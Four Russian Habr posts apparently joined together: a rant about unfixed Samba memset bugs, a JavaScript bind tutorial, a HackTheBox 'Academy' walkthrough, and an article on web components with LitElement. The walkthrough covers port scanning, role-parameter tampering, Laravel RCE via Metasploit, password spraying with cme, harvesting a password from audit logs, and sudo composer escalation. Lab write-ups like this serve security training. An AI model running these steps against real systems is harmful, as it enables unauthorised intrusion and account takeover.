Тем не менее по-прежнему живо поверье, что открытый проект — это хорошо. Мол, тысячи глаз людей могут изучать код, и кто-то да заметит ошибку. Мысль развивать не буду, думаю, вы понимаете, что я имею в виду.
Как разработчик PVS-Studio, нашедший несколько тысяч [ошибок](https://pvs-studio.com/ru/blog/examples/) в открытых проектах, я очень скептически к этому отношусь. Во-первых, я сомневаюсь, что так уж часто кто-то из этих абстрактных сторонних людей на самом деле ищет ошибки и уязвимости. Во-вторых, будучи как раз этим редким человеком, я могу утверждать, что разработчикам часто до балды эти старания. То есть самим разработчикам может быть неинтересно качество и надёжность их проектов. Им интересны новые фичи или что-то ещё, а не потенциальные проблемы и дефекты безопасности.
Множество раз мои сообщения про найденные ошибки игнорировались или откладывались в дальний ящик авторами открытых проектов. Хочется proof'ов? Пожалуйста. Сегодня у меня как раз есть красивый жирный пример.
Меня cподвигло написать эту мини-заметку неожиданное письмо от багтрекера проекта Samba. Я сначала даже не понял, что это за письмо такое. Оказывается, добрались до ошибок, отписанных мной ещё 9 лет назад! [Bug 9320 — PVS-Studio](https://bugzilla.samba.org/show_bug.cgi?id=9320).
Девять лет всем всё равно, что в проекте баги. Девять лет всем всё равно, что в проекте присутствуют старые версии библиотек с потенциальными уязвимостями типа [CWE-14](https://cwe.mitre.org/data/definitions/14.html). Да, собственно, и сейчас, пока я пишу эти строки, в коде присутствуют всё те же опасные вызовы *memset*. Например, здесь:
```
static void
md_result(MD_CTX * ctx, unsigned char *dst)
{
SHA256_CTX tmp;
memcpy(&tmp, ctx, sizeof(*ctx));
SHA256_Final(dst, &tmp);
memset(&tmp, 0, sizeof(tmp));
}
```
Или здесь:
```
static void
calc(struct md2 *m, const void *v)
{
unsigned char x[48], L;
const unsigned char *p = v;
int i, j, t;
....
memcpy(m->state, x, 16);
memset(x, 0, sizeof(x));
}
```
Вызовы этих *memset* компилятор удалит, и приватные данные будут продолжать находиться в памяти. Если вы далеки от этой темы, то разобраться, что к чему, поможет статья "[Безопасная очистка приватных данных](https://pvs-studio.com/ru/blog/posts/cpp/0388/)".
Возможно, конкретно эти баги и дефекты безопасности никакой реальной беды и угрозы не представляют. Дело в другом. Разработчикам проекта всё равно. И сторонним разработчикам всё равно. Никто не берёт и не исправляет хотя бы те баги, которые можно взять и найти с помощью PVS-Studio. И даже уже найденные баги не торопятся исправлять.
Бомбанул. Стало полегче. Спасибо, кто выслушал :). Буду ссылаться на эту заметку, когда кто-то вновь заведёт шарманку на тему того, что открытый код безопаснее. | https://habr.com/ru/post/596109/ | null | ru | null |
# Правильный захват контекста в Javascript
 Довольно часто во многих статьях я вижу, как люди захватывают контекст this для использования в анонимной функции и удивляюсь — то, что уже стало стандартом — просто ужасная практика, которая противоречит всем канонам программирования. Вам знакома такая запись?
`var self = this;`
Может вам тоже стоит переосмыслить этот аспект?
Итак, пример:
> `var self = this;
>
> asyncFunc(function () {
>
> self.callMethod();
>
> });`
Другой пример (jQuery):
> `$('input').bind('keydown', function () {
>
> var $this = $(this);
>
> $this.css({
>
> background : $this.val()
>
> });
>
> });`
Что вы про них скажете?
Ненависть
---------
Я считаю, что в названиях переменных self и $this (а также that, \_this, t) кроется зло. Зло кроется по двум причинам.
Первая — названия совершенно не несут смысловой нагрузки. Таким же чудом мы могли бы использовать, скажем `var killmeplz = this;`
Вторая — иногда контексты могут множиться и пересекаться и тогда настаёт путаница. Например, когда функции у нас вложены одна в другую:
> `var self = this;
>
> asyncFunc(function () {
>
> var self2 = this; // wtf ?!!
>
> setTimeout(function () {
>
> self.callMethod(self2);
>
> }, 200);
>
> });`
Решение первое — правильно именуем переменные
---------------------------------------------
Всегда надо давать вменяемые имена переменным. Это правило относится не к контексту в JS, а к программированию в целом, но во время захвата контекста все об этом забывают. Например:
> `$('input').bind('keydown', function () {
>
> var $colorInput = $(this);
>
> $colorInput.css({
>
> background : $colorInput.val()
>
> });
>
> });`
Это решит проблему со вложенными функциями.
> `$block = $(this);
>
> $('button').each(function () {
>
> var $button = $(this);
>
> $.each(users, function () {
>
> var user = this;
>
> $block.append(user.init($button));
>
> });
>
> });`
Но чаще всего такое разнообразие контекстов не требуется. Потому давайте посмотрим на другой способ:
Принудительное задание контекста функции
----------------------------------------
Эту идею я почерпнул из фреймворка MooTools и считаю её замечательной. Немножко расширим прототип Function
> `Function.prototype.bind = function (scope) {
>
> var fn = this;
>
> return function () {
>
> return fn.apply(scope, arguments);
>
> };
>
> };`
Теперь мы можем не терять контекст в течении всей работы. Если нам нужен только внешний контекст — мы прямо это указываем и код становится значительно прозрачнее:
> `asyncFunc(function () {
>
> this.callMethod();
>
> }.bind(this));`
Другие возможности работы с .bind
---------------------------------
Часто бывает, что для того, чтобы работать с методом объекта приходится городить очень некрасивую конструкцию. Например (пример на MooTools):
> `var Analizer = new Class({
>
> initialize : function (name) {
>
> this.dataRouter = new DataRouter[name]();
>
> },
>
> start : function () {
>
> var analizer = this;
>
> this.dataRouter.get(function (data) {
>
> analizer.parse(data);
>
> });
>
> },
>
> parse : function (data) {
>
> // parsing data, using this.privateMethods
>
> }
>
> });`
мы не можем передать в метод get просто ссылку на метод parse:
> `dataGetter.get(analizer.parse);`
потому что тогда потеряется контекст метода. метод bind поможет нам в этом и мы видим, насколько яснее стал этот код:
> `var Analizer = new Class({
>
> initialize : function (name) {
>
> this.dataRouter = new DataRouter[name]();
>
> },
>
> start : function () {
>
> this.dataRouter.get(
>
> this.parse.bind(this)
>
> );
>
> },
>
> parse : function (data) {
>
> // parsing data, using this.privateMethods
>
> }
>
> });`
Небольшой кусок кода из [карточной игры Bridge на LibCanvas](http://habrahabr.ru/blogs/sport_programming/103614/), демонстрирующий использование bind.
Суть ассинхронности в том, что ИИ не должен совершать никаких действий, пока летит карта.
Например, он берет карту из колоды, но может её туда положить только после того, как карта долетит, иначе будет неприятный для игрока эффект.
> `Bridge.AI = new Class({
>
> // ..
>
> putCardSmart : function (card) {
>
> this.putCard( card,
>
> // Этот метод вызовется только когда карта долетит, но он сохранит контекст.
>
> this.finishSmart.bind(this)
>
> );
>
> },
>
> getCardSmart : function () {
>
> this.getCard(function (card) {
>
> this.canPutCard(card) ?
>
> this.putCardSmart(card) :
>
> this.finishSmart();
>
> }.bind(this)); // Мы захватываем контекст.
>
> },
>
> finishSmart : function () {
>
> this.canFinishMove() ?
>
> this.finishMove() :
>
> this.movement();
>
> }
>
> // ..
>
> });`
Примеры вредных советов
-----------------------
[vl.vg/28.01.2010/tooltip-jquery](http://vl.vg/28.01.2010/tooltip-jquery/)
[blog.kron0s.com/javascript-programming-patterns\_2](http://blog.kron0s.com/javascript-programming-patterns_2)
[habrahabr.ru/blogs/jquery/52185](http://habrahabr.ru/blogs/jquery/52185/) | https://habr.com/ru/post/103760/ | null | ru | null |
# HackTheBox. Прохождение Academy. RCE в Laravel и LPE через composer
Продолжаю публикацию решений отправленных на дорешивание машин с площадки [HackTheBox](https://www.hackthebox.eu). Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Организационная информацияСпециально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
* PWN;
* криптография (Crypto);
* cетевые технологии (Network);
* реверс (Reverse Engineering);
* стеганография (Stegano);
* поиск и эксплуатация WEB-уязвимостей;
Вдобавок к этому я поделюсь своим опытом в *компьютерной криминалистике,* *анализе малвари и прошивок*, *атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов*.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал [канал](https://t.me/RalfHackerChannel) в Telegram и группу для обсуждения любых вопросов в области [ИиКБ](https://t.me/RalfHackerPublicChat). Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем ([ссылка](https://t.me/hackerralf8)).
Recon
-----
Данная машина имеает IP адрес 10.10.10.215, который я добавляю в /etc/hosts.
```
10.10.10.215 academy.htb
```
Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта.
```
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
```
Имеем SSH, Apache и MySQL. Давайте переберем директории на вебе, я буду использовать gobuster.
```
gobuster dir -t 128 -u http://academy.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --timeout 30s
```
 Находим интересную директорию админа, но нам нужно зарегистрироваться. Я все операции выполняю через Burp. И при регистрации обращаем внимание на интересный параметр.
 Изменим значение roleid на 1, и наша учетная запись станет административной. В найденной ранее директории найдем список дел, в котором одна задаче будет не выполнена.
 Добавим запись в /etc/hosts.
```
10.10.10.215 dev-staging-01.academy.htb
```
Перейдем по найденному адресу.
 Нас встречает Laravel, как мы видим из ошибки.
Entry Point
------------
Поищем эксплоиты, и найдем уже реализованный для metasploit.
Для его использования нам нужен APP\_KEY, который мы легко находим на той же странице.
 Давайте подключимся.
 Получим нормальную оболочку.
```
python3 -c "import pty; pty.spawn('/bin/sh')"
/bin/bash
```
USER
----
Запустим LinPEAS для разведки на хосте. Выделяем список пользователей и файл .env.
 И именно в этом файле находим пароль.
 Спрэйим найденный пароль по всем пользователям и получаем пару учетных данных.
```
cme ssh academy.htb -u users.txt -p 'mySup3rP4s5w0rd!!'
```
 И берем первого пользователя.
USER 2
------
Так как мы состоим в группе adm, мы можем читать логи. Я начал с файла auth.log, но ничего интересного там не нашел. Дальше перешел к файла audit.log, пофильтровал вывод, оставив только используемые команды и передаваемые им аргументы, и тут ждал успех.
```
cat * | grep comm | grep -v '/usr/lib/systemd/systemd|apparmor_parser'
```
 Аргументом команды su является пароль.
 Снова спрэим и получаем второго пользователя.
```
cme ssh academy.htb -u users.txt -p 'mrb3n_Ac@d3my!'
```
ROOT
----
В настройках судоера видим использование composer с повышенными привилегиями.
 Тут на помощью приходит техника GTFOBins. [Там](https://gtfobins.github.io/gtfobins/composer/#shell) и находим LPE с помощью composer.
У нас root! | https://habr.com/ru/post/542622/ | null | ru | null |
# Веб-компоненты в реальном проекте
Всем привет! Меня зовут Артур, я работаю frontend-разработчиком в Exness. Не так давно мы перевели один из наших проектов на веб-компоненты. Расскажу, с какими проблемами пришлось столкнуться, и о том, как многие концепции, к которым мы привыкли при работе с фреймворками, легко перекладываются на веб-компоненты.
Забегая вперед, скажу, что реализованный проект успешно прошел тестирование на нашей широкой аудитории, а размер бандла и время загрузки удалось ощутимо сократить.
Предполагаю, что у вас уже есть базовое представление о технологии, но и без него будет понятно, что с веб-компонентами можно вполне удобно работать и организовывать архитектуру проекта.
Почему веб-компоненты?
----------------------
Проект был небольшим, но требовательным к размеру бандла; основными ui-составляющими были формы. Кто-то скажет, что все можно было сделать нативным html+js, что было бы максимально легковесно. Но если говорить о поддержке и расширении проекта, отказаться от всех преимуществ компонентной разработки было бы подобно прыжку в прошлое. С другой стороны, можно было бы использовать [Svelte](https://github.com/sveltejs/svelte) или, например, [Preact](https://github.com/preactjs/preact). Но попробовать сделать все, оперируя нативными концепциями, было слишком заманчивой идеей.
Будущее уже настало?
--------------------
Большинство современных браузеров, включая мобильные, поддерживают веб-компоненты из коробки. Для остальных есть [полифилы](https://www.npmjs.com/package/@webcomponents/webcomponentsjs). Примечательно, что для полифилов есть умный [лоадер](https://www.npmjs.com/package/@webcomponents/webcomponentsjs#using-webcomponents-loaderjs) (~2kB), который не загружает полифил определенного функционала, если для него есть нативная поддержка браузером — таким образом, в современные браузеры ничего не загружается. Полифилы заявляют поддержку вплоть до IE11 и старых версий Edge. К счастью, мы не поддерживаем IE в наших проектах, в Edge действительно все работает. Также все работает в китайских UC Browser и QQ Browser, включая их мобильные версии.
*Небольшие ограничения по работе полифилов:*
* *Полифильный тег для IE11 & Edge не участвуют во всплытии событий;*
* *Этот набор полифилов не предоставляет функционал для расширения встроенных html-элементов. Об этом подробнее ниже.*
LitElement
----------
«Как много boilerplate-кода для создания компонентов и реактивной работы с пропсами! Нужно ускорить процесс и написать класс, расширяющий HTMLElement и реализующий этот код» — такой была первая мысль, которая возникла при погружении в веб-компоненты. Писать, конечно, ничего не пришлось — эту работу берет на себя класс [LitElement](https://lit-element.polymer-project.org/) (~7kb). А использующийся в нем [lit-html](https://lit-html.polymer-project.org/) предоставляет удобный и оптимизированный механизм рендеринга и упрощает привязку данных и подписку на события.
Кроме того, LitElement расширяет стандартный **жизненный цикл веб-компонентов** удобными [дополнениями](https://lit-element.polymer-project.org/guide/lifecycle), делая его во многом схожим с жизненным циклом компонентов популярных фреймворков.
LitElement — это еще одна зависимость, кто-то даже скажет «еще один фреймворк». Но я осознанно *решился на эти плюс 7kB,* потому что LitElement смотрится как один из вариантов естественной надстройки над существующим нативным API. Она так или иначе присутствовала бы в проекте хотя бы для реализации boilerplate-кода.
Функциональные компоненты-шаблоны
---------------------------------
К теме статьи это имеет косвенное отношение, но lit-html в свои ~3.5kB вмещает очень удобную возможность описания интерфейса с помощью функций. Причем обновление DOM-структур таких функций-компонентов происходит оптимизировано: рендерятся только те блоки, значения которых изменились с предыдущего рендера. В некоторых случаях и при должной находчивости весь интерфейс можно описать только функциями, декораторами и директивами (о них чуть ниже):
```
import { html, render } from 'lit-html'
const ui = data => html`...${data}...`
render(ui('Hello!'), document.body)
```
При этом в одних шаблонах можно использовать другие:
```
const myHeader = html`Header
======
`
const myPage = html`
${myHeader}
Here's my main page.
`
```
В других случаях можно придумать обертку для создания кастомных элементов из таких функций:
```
const defineFxComponent = (tagName, FxComponent, Parent = LitElement) => {
const Component = class extends Parent {
render() {
return FxComponent(this.data)
}
}
customElements.define(tagName, Component)
}
defineFxComponent('custom-ui', ui)
render(html``, document.body)
```
Я не буду останавливаться на удобствах создания шаблонов, стилизации, передачи атрибутов, привязки данных и подписки на события, условном и цикличном рендере при работе с lit-html. Все это подробно описано в [документации](https://lit-html.polymer-project.org/guide/writing-templates). Остановлюсь на том, что можно упустить при беглом взгляде на руководство, но может быть полезным.
### svg
Самая скрытая из таких функций, о которой нет упоминаний в руководстве (но есть в [API](https://lit-html.polymer-project.org/api/modules/lit_html.html#svg)) — это тег `svg```. Как несложно догадаться, он используется для работы с векторной графикой, при работе с которой через `html``` могут возникать некоторые проблемы. У меня они возникли, когда я пытался передать TemplateResult (это результат выполнения `html```) вовнутрь моего компонента иконки — появлялись ненужные закрывающие теги, и графика не отрисовывалась. При использовании `svg``` и передачи SVGTemplateResult все встало на свои места.
### Директивы
Директивы — это функции, которые описывают то, каким образом будет выводиться их содержимое. В lit-html для хранения и вывода значений для представления DOM используются классы, реализующие интерфейс Part. Именно интерфейс Part обеспечивает умный рендеринг, который обновляет только то, что изменилось, а директивы — это способ получить доступ к этому механизму и влиять на него.
Директивы могут быть одного из пяти типов, каждая из которых имеет доступ к соответствующей реализации Part:
* Для вывода контента (NodePart);
* Для передачи атрибута (AttributePart);
* Для передачи булевого атрибута (BooleanAttributePart);
* Для привязки данных или передачи свойства (PropertyPart);
* Для подписки на события (EventPart).
Каждый тип директив может быть использован только в подходящем для него месте и не имеет значения в других местах.
Директива хранит в себе значение `value` — это то, что было выведено на ее месте при последнем рендере. Для установки нового значения существует функция `setValue()`. Для принудительного обновления значений в DOM после того, как рендер был завершен, используется функция `commit()` (полезно при асинхронных действиях).
Пример кастомной директивы (имеющей доступ к классу NodePart — для вывода контента), которая хранит и выводит количество рендеров:
```
import { directive } from 'lit-html'
const renderCounter = directive(() => part =>
part.setValue(part.value === undefined ? 0 : part.value + 1)
)
```
Lit-html имеет полезный [набор встроенных директив](https://lit-html.polymer-project.org/guide/template-reference#built-in-directives). Есть аналоги некоторых реактовских хуков, функции для работы со стилями и классами как с объектами, функции асинхронного обновления контента, оптимизации, небезопасной установки html и др.
Рядом с директивой можно хранить более сложный state для использования внутри директивы. Пример [тут](https://lit-html.polymer-project.org/guide/creating-directives#maintaining-state).
Кастомные директивы и декораторы можно также использовать как аналог компонентов высшего порядка. При таком подходе необходимо самостоятельно позаботиться о реактивности внутри директивы. Пример [тут](https://github.com/jmas/lit-redux/blob/master/index.js).
### shady-render
Если вы создаете базовый класс с использованием lit-html и Shadow DOM, вам необходимы будут полифилы для старых браузеров. У lit-html есть отдельный [модуль shady-render](https://lit-html.polymer-project.org/guide/styling-templates#polyfilled-shadow-dom:-shadydom-and-shadycss), который интегрирует эти полифилы.
Компоненты высшего порядка
--------------------------
HOC — мощный паттерн, часто используемый при работе с React или Vue. При его использовании композиция компонентов становится простой и лаконичной, и хотелось бы использовать какой-то его аналог при работе с веб-компонентами. Так как веб-компоненты это классы, то для себя в качестве аналога HOC я решил использовать функции, которые бы возвращали расширение класса, переданного им в качестве параметра.
### Расширение функционала
В проекте мне необходим был redux, поэтому в качестве примера рассмотрим [коннектор для него](https://github.com/realiarthur/lite-redux). Ниже представлен код декоратора, принимающего store и возвращающего стандартный коннектор redux. Внутри класса происходит накопление mapStateToProps из всей цепочки наследования (для тех случаев, если в ней будет HOC, который также общается с redux), чтобы в дальнейшем, когда компонент будет встроен в DOM, одним колбеком подписать их все на изменение состояния redux. При удалении компонента из DOM эта подписка удаляется.
```
import { bindActionCreators } from 'redux'
export default store => (mapStateToProps, mapDispatchToProps) => Component =>
class Connect extends Component {
constructor(props) {
super(props)
this._getPropsFromStore = this._getPropsFromStore.bind(this)
this._getInheritChainProps = this._getInheritChainProps.bind(this)
// Накопление mapStateToProps
this._inheritChainProps = (this._inheritChainProps || []).concat(
mapStateToProps
)
}
// Функция для получения данных из store
_getPropsFromStore(mapStateToProps) {
if (!mapStateToProps) return
const state = store.getState()
const props = mapStateToProps(state)
for (const prop in props) {
this[prop] = props[prop]
}
}
// Callback для подписки на изменение store, который вызовет все mapStateToProps из цепочки наследования
_getInheritChainProps() {
this._inheritChainProps.forEach(i => this._getPropsFromStore(i))
}
connectedCallback() {
this._getPropsFromStore(mapStateToProps)
this._unsubscriber = store.subscribe(this._getInheritChainProps)
if (mapDispatchToProps) {
const dispatchers =
typeof mapDispatchToProps === 'function'
? mapDispatchToProps(store.dispatch)
: mapDispatchToProps
for (const dispatcher in dispatchers) {
typeof mapDispatchToProps === 'function'
? (this[dispatcher] = dispatchers[dispatcher])
: (this[dispatcher] = bindActionCreators(
dispatchers[dispatcher],
store.dispatch,
() => store.getState()
))
}
}
super.connectedCallback()
}
disconnectedCallback() {
// Удаление подписки на изменение store
this._unsubscriber()
super.disconnectedCallback()
}
}
```
Удобнее всего использовать этот метод при инициализации store для создания и экспорта обычного коннектора, который можно использовать в качестве компонента высшего порядка:
```
// store.js
import { createStore } from 'redux'
import makeConnect from 'lite-redux'
import reducer from './reducer'
const store = createStore(reducer)
export default store
// Создание стандартного коннектора
export const connect = makeConnect(store)
```
```
// Component.js
import { connect } from './store'
class Component extends WhatEver {
/* ... */
}
export default connect(mapStateToProps, mapDispatchToProps)(Component)
```
### Расширение отображения и наблюдаемых свойств
Во многих случаях кроме расширения функционала компонента требуется обернуть его отображение. Для этого удобно использовать функцию рендеринга расширяемого компонента. Кроме того, бывает полезно расширить список наблюдаемых свойств для обеспечения реактивности: `get observedAttributes()` для веб-компонентов или `get properties()` для LitElement. Для иллюстрации приведу пример поля ввода пароля, которое расширяет переданный ей компонент текстового поля ввода:
```
const withPassword = Component =>
class PasswordInput extends Component {
static get properties() {
return {
// Предполагается что super.properties уже содержит свойство type
...super.properties,
addonIcon: { type: String }
}
}
constructor(props) {
super(props)
this.type = 'password'
this.addonIcon = 'invisible'
}
setType(e) {
this.type = this.type === 'text' ? 'password' : 'text'
this.addonIcon = this.type === 'password' ? 'invisible' : 'visible'
}
render() {
return html`
${super.render()}
`
}
}
customElements.define('password-input', withPassword(TextInput))
```
Внимание здесь хотелось бы обратить на строку `...super.properties` в методе `get properties()`, которая позволяет не определять уже описанные в расширяемом компоненте свойства. И на строку `super.render()` в методе `render`, которая выводит в указанном месте разметки отображение расширяемого компонента.
При использовании такого подхода для реализации аналога HOC стоит соблюдать некоторые меры предосторожности:
* Быть внимательным при именовании свойств и методов, так как можно переопределить их в наследуемом компоненте;
* Помнить, что при передаче метода класса в качестве колбека на какое-либо событие есть вероятность, что этот метод будет переопределен где-то в цепочке наследования, и на событие окажется подписанным только последний из HOC'ов, а не оба;
* Стараться максимально наглядно подписываться на изменения свойств, переданных из HOC.
Как я отказался от Shadow DOM и расширения встроенных элементов
---------------------------------------------------------------
Как я уже говорил, основными ui-составляющими моего проекта являются формы и различные поля ввода. Для удобства хотелось бы использовать компонент, предоставляющий удобные инструменты для работы с формой и реализующий необходимый функционал: хранение и обновление состояния (values, errors, touched), валидация, обработка submit, reset.
Этот функционал не имеет отношения к теме статьи, но хотелось бы поговорить о том, во что его обернуть. Забегая вперед, скажу, что прежде чем сделать рабочий вариант, я попробовал три упаковки: стандартный веб-компонент, расширение встроенного элемента и компонент высшего порядка. И это повод для небольшой истории...
### Версия 1. Веб-компоненты и Shadow DOM
Первое, что пришло мне на ум — сделать стандартные веб-компоненты полей ввода и формы, используя Shadow DOM как часть лучших практик, обернуть поля ввода в HOC для общения с формой, вставлять форму на страницу отдельным кастомным тегом. Обо всем по порядку.
С одной стороны, мне нужен был функционал тега и его класса HTMLFormElement (например, вызов submit при нажатии на Enter), но не хотелось каждый раз дописывать его в дополнение к кастомному тегу формы. С другой стороны, я не мог использовать слот, чтобы обернуть его содержимое в тег , потому что события формы переставали работать — видимо пока не до конца готов к слоту внутри себя.
Решением стала передача шаблона в качестве свойства для кастомной формы. Это некий аналог передачи render-функции в React:
```
// Компонент формы
import { LitElement, html } from 'lit-element'
class LiteForm extends LitElement {
/* ...функционал формы ... */
render() {
return html`
${this.formTemplate(this)}
`
}
}
customElements.define('lite-form', LiteForm)
```
```
// Пример формы
import { html, render } from 'lit-element'
const formTemplate = ({ values, handleBlur, handleChange, ...props }) =>
html`
Submit`
const MyForm = html``
render(html`${MyForm}`, document.getElementById('root'))
```
Конечно, мне не хотелось каждому полю ввода передавать свойства и события формы. К тому же я хотел работать с кастомными полями ввода и упростить вывод ошибок. Поэтому мне необходимы были несколько компонентов высшего порядка для работы с формой, таких как `withField` или `withError`.
Такая реализация требовала, чтобы HOC'и были способны самостоятельно найти свою форму или общаться с ней посредством событий. Перебрав несколько вариантов (общение через шину событий, общий контекст — все они подходили, если форма на странице только одна), я остановился на очень простом, но рабочем:
```
// здесь константа IS_LITE_FORM — это имя булевого атрибута, который имеет каждый элемент кастомной формы
const getFormClass = element => {
const form = element.closest(`[${IS_LITE_FORM}]`)
if (form) return form
const host = element.getRootNode().host
if (!host) throw new Error('Lite-form not found')
return host[IS_LITE_FORM] ? host : getFormClass(host)
}
```
Здесь все тривиально: рекурсивный поиск элемента с атрибутом, указывающим что это искомая форма. Отметить хотелось функцию [getRootNode](https://developer.mozilla.org/en-US/docs/Web/API/Node/getRootNode), благодаря которой поиск проходит сквозь дерево вложенных Shadow DOM — необходимая функция при решении таких специфичных задач.
С использованием `withField` я мог сильно упростить шаблон формы:
```
const formTemplate = props =>
html`
Submit`
```
В общем, все работало отлично, но… Прежде чем рассказать, почему я отказался от Shadow DOM, еще пару слов о нем.
### Стилизация Shadow DOM извне и псевдоклассы :host и :host-context
Для кастомизации стилей компонентов из основного документа можно использовать CSS переменные. Они проникают через Shadow DOM, видны повсюду, и это вполне удобно. Но возникают ситуации, когда этого оказывается недостаточно, например, когда необходима условная стилизация:
```
:host([rtl]) {
text-align: right;
}
:host-context(body[dir='rtl']) .text {
text-align: right;
}
```
Псевдокласс `:host` позволяет применить стиль к корневому элементу компонента, только если он соответствует заданному селектору. В примере текст будет выровнен по правому краю только в случае, если корневой элемент имеет атрибут `rtl`.
Псевдокласс `:host-context` позволяет понять, в каком контексте находится Shadow DOM, и реагировать на него. В примере блок с классом `.text` внутри компонента будет соответствующим образом выравнивать текст в зависимости от атрибута `dir`, установленного для `body`.
### Всплытие событий сквозь Shadow DOM
События при всплытии сквозь Shadow DOM ведут себя несколько необычно: у них подменяется целевой элемент `target`, которым становится сам веб-компонент. Сделано это в целях поддержания инкапсуляции DOM, и это необходимо учитывать при разработке, потому что конечный `target` может не содержать всех тех свойств, которые содержал изначальный целевой элемент.
Всплытие сквозь Shadow DOM можно регулировать свойством события `composed`. Чтобы событие всплывало сквозь Shadow DOM, оба его свойства `composed` и `bubbles` должны быть установлены в `true`. Большинство стандартных событий успешно всплывает сквозь Shadow DOM.
### Почему я отказался от Shadow DOM
Во-первых, из-за невозможности автозаполнения форм хранимыми пользовательскими данными (логин-пароль, адрес, данные кредитных карт) если форма или поля ввода скрыты за Shadow DOM. Также браузер не предлагает сохранить пользовательские данные с таких форм. В моем проекте этот недостаток (или фича, кому как ближе) стал критичным.
*Конечно, если для передачи шаблона формы используются только слоты, и этот шаблон описан в основном документе, которому он и будет принадлежать, то автозаполнение произойдет даже при использовании Shadow DOM в компоненте формы. Но кроме этого, все компоненты, в которые вложена форма, и все поля ввода не должны использовать Shadow DOM. Это настолько сильные ограничения, что проще отказаться от Shadow DOM.*
Во-вторых, из-за отсутствия аналога querySelector, который работал бы сквозь Shadow DOM. Для метрик и аналитики такой инструмент был бы полезен, чтобы, например в Google Tag Manager не писать длинные конструкции типа `document.querySelector(...) .shadowRoot.querySelector(...) .shadowRoot.querySelector(...) .shadowRoot.querySelector(...)`
С отказом от Shadow DOM особых трудностей не возникло. В LitElement для этого достаточно такого кода:
```
createRenderRoot() {
return this
}
```
Вместе с Shadow DOM я потерял проводника всплытия события `blur` из полей ввода. Я использовал его внутри `withField`, чтобы мне не приходилось пробрасывать его из компонента вручную. Но я подписался на него на стадии погружения, и это сработало.
### Версия 2. Расширение встроенного элемента
После отказа от Shadow DOM мне показалось хорошей идеей расширить встроенный класс HTMLFormElement и тег — верстка бы смотрелась как нативная, и при этом сохранился бы доступ ко всем событиям формы, и это требовало минимальных изменений кода:
```
// Компонент формы
class LiteForm extends HTMLFormElement {
connectedCallback() {
this.addEventListener('submit', this.handleSubmit)
}
disconnectedCallback() {
this.removeEventListener('submit', this.handleSubmit)
}
/* ...функционал формы ... */
}
customElements.define('lite-form', LiteForm, { extends: 'form' })
```
Все работало как в обычной форме, только с дополнительным функционалом:
```
// Пример формы
const MyForm = html`
Submit
`
render(html`${MyForm}`, document.getElementById('root'))
```
Здесь хотелось бы обратить внимание на первый аргумент в функции `customElements.define` и на атрибут `is` в элементе формы, которые указывают на то, какого «типа» будет тег. А также на третий аргумент в `customElements.define`, в котором указывается, какой именно тег будет расширяться.
Все работало отлично и прекрасно смотрелось. Но не во всех браузерах: Safari не поддерживает расширение встроенных элементов, потому что считает это небезопасным. Это также касается и браузеров для iOS (включая Chrome, Firefox и др.). Ходят слухи, что Apple возможно пересмотрит такое поведение, но в 13 версии Safari и iOS все остается как есть. И хотя есть [полифилы](https://www.npmjs.com/package/@ungap/custom-elements-builtin), я решил не пользоваться этой концепцией до тех пор, пока Safari и iOS не начнут поддерживать расширение встроенных элементов.
### Версия 3. Компонент высшего порядка
После пары неудачных попыток обернуть функционал формы я решил оставить это за ее пределами и сделать компонент высшего порядка, чтобы оборачивать им все, что понадобится. Это потребовало небольших изменений кода:
```
// Компонент высшего порядка формы
export const withForm = ({
onSubmit,
initialValues,
validationSchema,
...config
} = {}) => Component =>
class LiteForm extends Component {
connectedCallback() {
this._onSubmit = (onSubmit || this.onSubmit || function () {}).bind(this)
this._initialValues = initialValues || this.initialValues || {}
this._validationSchema = validationSchema || this.validationSchema || {}
/* ... */
super.connectedCallback && super.connectedCallback()
}
/* ...функционал формы ... */
}
```
Здесь в функции `connectedCallback()` форма принимает конфиг (onSubmit, initialValues, validationSchema, и др.) либо из аргументов, переданных в `withForm()`, либо из самого расширяемого компонента. Это позволяет оборачивать любые классы, а также строить базовые классы, которые можно использовать в верстке, передавая конфиг в ней. К слову, этим способом можно построить оба базовых класса из первых реализаций формы:
```
// Пример базового класса из первой реализации формы:
// Стандартный веб-компонент или LitElement
import { withForm } from 'lite-form'
class LiteForm extends LitElement {
render() {
return html`
${this.formRender(this)}
`
}
}
customElements.define('lite-form', withForm(LiteForm))
```
```
// Пример базового класса из второй реализации формы:
// Расширение встроенного элемента
import { withForm } from 'lite-form'
class LiteForm extends HTMLFormElement {
connectedCallback() {
this.addEventListener('submit', this.handleSubmit)
}
disconnectedCallback() {
this.removeEventListener('submit', this.handleSubmit)
}
}
customElements.define('lite-form', withForm(LiteForm), { extends: 'form' })
```
С другой стороны, можно не создавать базовый класс формы, a оборачивать в `withForm()` конечные компоненты, содержащие шаблоны форм, и передавать конфиг в HOC:
```
// Пример формы
import { withForm } from 'lite-form'
class UserForm extends LitElement {
render() {
return html`
Submit
`
}
}
const enhance = withForm({
initialValues: {/*...*/},
onSubmit: {/*...*/},
validationSchema: {/*...*/}
})
customElements.define('user-form', enhance(UserForm))
```
Расширяемые классы могут как использовать Shadow DOM, так и оставаться открытыми и лучше отвечать специфике проекта. Полный код компонента формы с примерами можно [посмотреть тут](https://github.com/realiarthur/lite-form).
Заключение
----------
В названии статьи «веб-компоненты» можно было бы заменить на «кастомные элементы» — в итоге это стало единственным API, которое я использовал в проекте, и самое проработанное из всей технологии. Но мне хотелось бы верить, что и оно будет развиваться в части создания элементов, передачи свойств и подписки на их изменения, чтобы стать более лаконичным. Я использовал LitElement в основном для этого, и мне не пригодился его жизненный цикл — хватало стандартного.
